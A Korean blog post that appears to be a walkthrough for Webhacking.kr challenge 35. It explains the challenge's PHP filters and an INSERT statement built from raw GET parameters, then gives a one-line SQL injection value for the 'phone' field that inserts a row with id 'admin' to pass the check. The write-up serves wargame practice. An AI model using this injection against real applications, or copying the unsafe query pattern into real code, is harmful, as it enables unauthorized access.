Webhacking.kr 35번 문제풀이

동스토리 ㅣ 2021. 1. 16. 13:28

반응형

안녕하세요.

 

웹 해킹 35번 문제풀이 하겠습니다.

 

소스코드를 확인해보면,

 if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");

-> *, /, =, select, -, #, ; 를 필터링 하고 있습니다.

 

if(preg_match("/admin/i",$_GET['id']))

-> id값을 5를 넘으면 안 되고 admin이 입력되면 안 됩니다.

 

 

mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})")

-> GET방식으로 전달된 id, ip, phone이 chall35 테이블의 칼럼에 추가됩니다.

 

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));

-> id가 admin이고 ip가 나의 ip일 경우, 문제가 해결되는 것을 볼 수 있는데 우리는 GET방식으로 id를 admin으로 전달할 수 없기에 insert문을 활용해 보겠습니다.

 

insert into 테이블명(col1, col2) values('val1', 'val2'), ('val3', 'val4'), ('val5', 'val6')

-> 1), ('admin', '나의 IP',010를 입력 후 add를 누르면 문제가 해결됩니다.

 

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 38번 문제풀이  (0) 2021.01.21
Webhacking.kr 36번 문제풀이  (0) 2021.01.17
Webhacking.kr 34번 문제풀이  (0) 2021.01.15
Webhacking.kr 33번 문제풀이  (0) 2021.01.13
Webhacking.kr 32번 문제풀이  (0) 2021.01.13